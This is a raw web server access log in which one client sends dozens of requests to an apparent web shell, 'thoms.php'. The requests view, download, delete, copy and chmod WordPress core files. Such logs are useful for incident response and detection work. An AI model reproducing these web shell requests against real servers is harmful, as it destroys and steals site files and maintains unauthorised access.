45.135.193.11 - - [11/Sep/2026:23:46:02 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-walker-category-dropdown.php HTTP/1.1" 200 13063 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-walker-category-dropdown.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:02 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-session-tokens.php HTTP/1.1" 200 14119 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-session-tokens.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:02 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fhttps-migration.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fhttps-migration.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:03 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fcertificates&p= HTTP/1.1" 200 12394 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fcertificates&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:02 -0400] "GET /thoms.php?dl=class-wp-oembed.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59395 "http://163.245.207.76:443/thoms.php?dl=class-wp-oembed.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:02 -0400] "GET /thoms.php?dl=class-wp-theme.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59366 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:03 -0400] "GET /thoms.php?dl=blocks.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=blocks.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:03 -0400] "GET /thoms.php?del=class-wp-recovery-mode-email-service.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-email-service.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:03 -0400] "GET /thoms.php?dl=class-wp-scripts.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=class-wp-scripts.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:03 -0400] "GET /thoms.php?del=class.wp-scripts.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59375 "http://163.245.207.76:443/thoms.php?del=class.wp-scripts.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:03 -0400] "GET /thoms.php?chmod=functions.wp-styles.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=functions.wp-styles.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:04 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fmedia.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11835 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fmedia.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:04 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-processor.php HTTP/1.1" 200 32896 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-processor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:04 -0400] "GET /thoms.php?chmod=class-wp-plugin-dependencies.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11545 "http://163.245.207.76:443/thoms.php?chmod=class-wp-plugin-dependencies.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:04 -0400] "GET /thoms.php?dl=shortcodes.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=shortcodes.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:04 -0400] "GET /thoms.php?del=class-wp-locale.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=class-wp-locale.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:04 -0400] "GET /thoms.php?dl=class-wp-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:04 -0400] "GET /thoms.php?dl=functions.wp-scripts.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59353 "http://163.245.207.76:443/thoms.php?dl=functions.wp-scripts.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:04 -0400] "GET /thoms.php?dl=load.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=load.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:05 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2FPHPMailer&p= HTTP/1.1" 200 12403 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2FPHPMailer&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:04 -0400] "GET /thoms.php?dl=locale.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=locale.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:05 -0400] "GET /thoms.php?chmod=category.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=category.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:05 -0400] "GET /booking-wise2.com.tw/wp-includes/post-thumbnail-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:05 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-image-editor-imagick.php HTTP/1.1" 200 26561 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-image-editor-imagick.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:05 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-token-map.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-token-map.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:05 -0400] "GET /thoms.php?chmod=revision.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=revision.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:05 -0400] "GET /booking-wise2.com.tw/wp-includes/pomo/ HTTP/1.1" 200 1276 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:05 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fstyle-engine.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fstyle-engine.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:05 -0400] "GET /thoms.php?del=class-wp-connector-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-wp-connector-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:05 -0400] "GET /booking-wise2.com.tw/wp-includes/class-smtp.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:06 -0400] "GET /thoms.php?chmod=block-bindings.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=block-bindings.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:06 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fblock-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fblock-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:06 -0400] "GET /thoms.php?dl=class-wp-http-encoding.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-encoding.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:06 -0400] "GET /thoms.php?dl=class-wp-customize-panel.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-panel.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:06 -0400] "GET /thoms.php?dl=class-wp-token-map.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=class-wp-token-map.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:06 -0400] "GET /thoms.php?del=class-wp-site.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-site.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:06 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fpomo HTTP/1.1" 200 13568 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fpomo" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:07 -0400] "GET /thoms.php?dl=bookmark.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=bookmark.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:07 -0400] "GET /thoms.php?dl=class-wp-block-parser.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:07 -0400] "GET /thoms.php?del=class-wp-block-pattern-categories-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-block-pattern-categories-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:07 -0400] "GET /thoms.php?dl=class-wp-http-streams.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-streams.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:07 -0400] "GET /thoms.php?chmod=class-wp-image-editor.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:08 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fplugin.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fplugin.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:07 -0400] "GET /thoms.php?dl=class-wp-list-util.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59416 "http://163.245.207.76:443/thoms.php?dl=class-wp-list-util.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:08 -0400] "GET /thoms.php?del=style-engine.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=style-engine.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:08 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ftheme.json&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ftheme.json&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:08 -0400] "GET /thoms.php?del=template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59391 "http://163.245.207.76:443/thoms.php?del=template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:08 -0400] "GET /booking-wise2.com.tw/wp-includes/view-transitions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:08 -0400] "GET /booking-wise2.com.tw/wp-includes/widgets.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:08 -0400] "GET /thoms.php?chmod=update.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=update.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:08 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-fatal-error-handler.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11906 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-fatal-error-handler.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:08 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-type-registry.php HTTP/1.1" 200 13466 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-type-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:08 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class.wp-styles.php HTTP/1.1" 200 12104 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class.wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:09 -0400] "GET /booking-wise2.com.tw/wp-includes/taxonomy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:09 -0400] "GET /booking-wise2.com.tw/wp-includes/user.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:08 -0400] "GET /thoms.php?del=class-wp-block-editor-context.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-block-editor-context.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:09 -0400] "GET /thoms.php?chmod=fonts.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=fonts.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:09 -0400] "GET /thoms.php?del=cache-compat.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=cache-compat.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:09 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=ms-network.php HTTP/1.1" 200 13433 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=ms-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:09 -0400] "GET /thoms.php?dl=connectors.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59400 "http://163.245.207.76:443/thoms.php?dl=connectors.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:09 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-customize-control.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:09 -0400] "GET /thoms.php?del=utf8.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59372 "http://163.245.207.76:443/thoms.php?del=utf8.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:09 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-http-requests-response.php HTTP/1.1" 200 13314 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-http-requests-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:10 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fl10n.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fl10n.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:10 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-post-type.php HTTP/1.1" 200 20043 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-post-type.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:10 -0400] "GET /thoms.php?dl=revision.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59427 "http://163.245.207.76:443/thoms.php?dl=revision.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:10 -0400] "GET /booking-wise2.com.tw/wp-includes/class.wp-styles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:10 -0400] "GET /thoms.php?dl=class-wp-http-curl.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59409 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-curl.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:10 -0400] "GET /booking-wise2.com.tw/wp-includes/load.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
